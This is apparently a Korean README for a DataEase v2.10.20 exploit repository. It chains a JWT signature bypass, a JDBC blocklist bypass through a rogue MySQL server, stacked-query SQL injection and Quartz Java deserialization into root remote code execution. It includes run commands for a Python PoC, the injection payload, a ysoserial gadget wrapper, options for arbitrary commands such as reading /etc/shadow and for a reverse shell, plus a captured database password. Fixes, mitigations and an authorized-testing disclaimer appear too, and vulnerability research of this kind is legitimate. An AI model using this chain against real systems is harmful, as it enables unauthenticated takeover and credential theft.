DataEase용 자동화 익스플로잇: 4중 취약점 체인(인증 우회, JDBC 블록리스트 우회, SQL 인젝션, Java 역직렬화)으로 비인증 RCE 달성. Docker 랩과 Python PoC 포함.
인증 우회 → JDBC 블록리스트 우회(임의 파일 읽기) → SQL 인젝션 → Quartz의 Java 역직렬화 →
root권한 원격 코드 실행.독립형 로컬 랩(Docker) + 동작하는 PoC. DataEase v2.10.21에서 수정됨.
DataEase는 널리 사용되는 오픈소스 BI / 데이터 시각화 플랫폼입니다(Java / Spring Boot). ≤ v2.10.20 버전은 네 가지 문제로 이루어진 체인에 취약하며, 이들이 함께 결합되면 네트워크에서 접근 가능한 DataEase를 원격 코드 실행으로 이끕니다:
| # | CVE | 유형 | 공격자에게 제공하는 것 |
|---|
| 1 | CVE-2026-23958 | 인증 우회 (CWE-287/CWE-347) | admin으로 동작 — 유효한 서명 불필요 |
| 2 | CVE-2026-40899 | JDBC 블록리스트 우회 (CWE-20) | 임의 파일 읽기 → 백엔드 DB 자격 증명 탈취 |
| 3 | CVE-2026-40900 | SQL 인젝션 / 스택드 쿼리 (CWE-89) | DataEase 자체 데이터베이스에 쓰기 |
| 4 | CVE-2026-40901 | Java 역직렬화 (CWE-502) | Quartz 작업 저장소를 통한 root 권한 RCE |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
모든 것이 로컬 Docker에서 실행됩니다. 외부 서비스도, 인터넷 대상도 없습니다.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
실행하기:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (API 접두어 /de2api)admin / DataEase@123456호스트 요구 사항: Docker, cryptography가 포함된 Python 3.8+
(pip install -r exploit/requirements.txt), 그리고 Docker CLI(ysoserial을
일회용 eclipse-temurin:8-jre 컨테이너에서 실행해 가젯을 생성하는 데 사용).
DataEase는 서블릿 필터 TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java)에서 요청을 인증합니다. 필터는 토큰을 읽고
TokenUtils.validate()를 호출하며, 이는 결국 다음 코드에 도달합니다:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode()는 서명을 전혀 검증하지 않습니다. 검사하는 것은 오직 토큰이
100자 이상이고 정수 uid 클레임을 포함하는지뿐입니다. 따라서 "uid": 1이라고 적힌
어떤 JWT든 요청이 기본 제공 관리자(uid 1)로 실행되게 만듭니다.
X-DE-TOKEN 헤더에 대해 서명을 실제로 검증하는 두 번째 필터(CommunityTokenFilter)도
있습니다. 그러나 특정 조건에서만이며, 서명 키는 사용자별 비밀값이거나, 순수 커뮤니티
빌드에서는 하드코딩된 기본 비밀번호 DataEase@123456의 MD5입니다
(SubstituleLoginConfig → dataease.default-pwd). 함께 제공되는 공유 링크
경로(X-DE-LINK-TOKEN)는 하드코딩된 키 link-pwd-fit2cloud
(LinkTokenUtil.defaultPwd)로 서명되며, 수정 이전에는 마찬가지로 검증 없이
디코딩되었습니다.
최종 효과: 공격자는 관리자 토큰을 위조할 수 있습니다. de_common.py에는
서명 없는 토큰을 생성하는 forge_jwt()가 포함되어 있으며, PoC는 또한 널리 알려진
기본 자격 증명으로 간단히 로그인해 이후 체인에 사용할 완전히 유효한 X-DE-TOKEN을
획득하는 방식도 지원합니다.
수정 사항(커밋 00c169caa)은 TokenFilter가 리소스별 실제 비밀값을 조회해
실제로 verifier.verify(...)를 호출하도록 변경합니다.
MySQL 데이터소스를 추가할 때 DataEase는 위험한 JDBC 매개변수 집합을 거부합니다.
이 블록리스트는 Lombok @Data 필드에 정의되어 있습니다:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
@Data가 setIllegalParameters(...)를 자동 생성하므로 Jackson은 공격자가 제어하는
JSON으로 이를 기꺼이 채워 넣습니다. (Base64로 인코딩된) configuration 블롭에
"illegalParameters": []를 보내면 검사되기 전에 블록리스트가 비워집니다.
그런 다음 allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/가
설정된 악성 MySQL 서버로 데이터소스를 지정하고, MySQL LOCAL INFILE 메커니즘을
통해 DataEase 호스트에서 임의 파일을 읽을 수 있습니다.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
결과 — DataEase가 자신의 백엔드 DB 자격 증명을 우리에게 넘겨줍니다:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
공격자는 이 자격 증명을 사용해 3단계를 DataEase 자체 데이터베이스로 지정합니다.
수정 사항(커밋 16a950f96)은 모든 illegalParameters 필드에 @JsonIgnore를
추가하여 더 이상 JSON으로 설정할 수 없게 합니다.
previewSql의 SQL 인젝션(스택드 쿼리)POST /de2api/datasetData/previewSql은 Base64로 인코딩된 SQL 문자열을 받아
단일 문 검증 없이 서브쿼리로 감쌉니다:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
주석은 제거되지만 괄호 균형을 맞추고 ;를 사용해 추가 문을 실행할 수 있습니다.
데이터소스를 제어할 수 있으므로 allowMultiQueries=true를 활성화하며
(v2.10.20의 블록리스트에는 없음), 그 결과 스택드 쿼리가 실행됩니다:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
서버는 이를 세 개의 실제 문으로 조합합니다. 이 데이터소스를 DataEase 자체
데이터베이스(2단계의 자격 증명)로 지정하면 Quartz 테이블에 쓸 수 있습니다.
수정 사항: 15611593b는 블록리스트에 allowMultiQueries를 추가하고,
e89059d88은 저장/엔진 흐름을 강화합니다.
DataEase는 반복 실행되는 "데이터소스 상태 확인" Quartz 작업을 예약합니다:
deSyncJob, 작업 Datasource / check_status, 클래스
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (기본값: 6분마다)Quartz는 useProperties=false인 JDBC 작업 저장소를 사용하므로 각 작업의
JobDataMap은 QRTZ_JOB_DETAILS.JOB_DATA 컬럼에 원시 Java 직렬화 객체로
저장됩니다(확인 방법: 블롭이 직렬화 매직 AC ED 00 05 … org.quartz.JobDataMap으로
시작합니다). 스케줄러가 트리거를 스캔할 때 StdJDBCDelegate.selectJobDetail에서
다음 작업을 수행합니다:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase는 commons-collections-3.2.1.jar(및 velocity-1.7.jar)을
번들로 포함합니다 — 전형적인 역직렬화 가젯 소스입니다. 3단계를 사용해 JOB_DATA를
ysoserial CommonsCollections6 페이로드로 덮어씁니다(그리고 같은 스택드
쿼리에서 트리거의 NEXT_FIRE_TIME을 현재로 당겨 6분 크론을 기다리지 않게 합니다).
다음 스케줄러 스캔에서 readObject()가 가젯 체인
(LazyMap → InvokerTransformer → Runtime.exec)을 발화시키고 우리의 명령이
컨테이너 안에서 root로 실행됩니다. 수정 세트(e05bda764, …)는 취약한
Velocity 의존성과 싱크의 도달 가능성을 제거합니다.
PoC가 가젯을 자동 생성합니다(busybox 호환 명령 래핑 — 대상 셸은 Alpine ash이고
Runtime.exec는 셸을 거치지 않으므로 sh -c echo${IFS}<b64>|base64${IFS}-d|sh를
사용합니다).
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
실행 사이에 오염된 Quartz 작업을 초기화합니다(선택 사항):
exploit/reset_quartz.sh
| 경로 | 용도 |
|---|---|
exploit/de_common.py | HTTP 클라이언트: /dekey RSA 복구, 로그인, JWT 위조, 데이터소스 + previewSql |
exploit/de_rce_chain.py | 인증 우회 → SQLi → Quartz 역직렬화 RCE의 엔드투엔드 체인 |
exploit/rogue_mysql.py | CVE-2026-40899용 최소 악성 MySQL 서버(LOCAL INFILE 파일 읽기) |
exploit/file_read.py | 악성 서버를 대상으로 CVE-2026-40899 구동 |
exploit/reset_quartz.sh | 실행 후 깨끗한 Quartz 작업 복원 |
admin 비밀번호(DataEase@123456)를 즉시 교체하세요.useProperties=true로 실행하고, JVM
역직렬화 필터(-Djdk.serialFilter=…)를 적용하며, 클래스패스에서
commons-collections:3.2.1 / velocity:1.7을 제거하세요.교육 및 승인된 테스트 전용입니다. 랩은 직접 실행하는 컨테이너를 대상으로 합니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에는 이 중 어떤 것도 사용하지 마세요.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764
(DataEase v2.10.20..v2.10.21)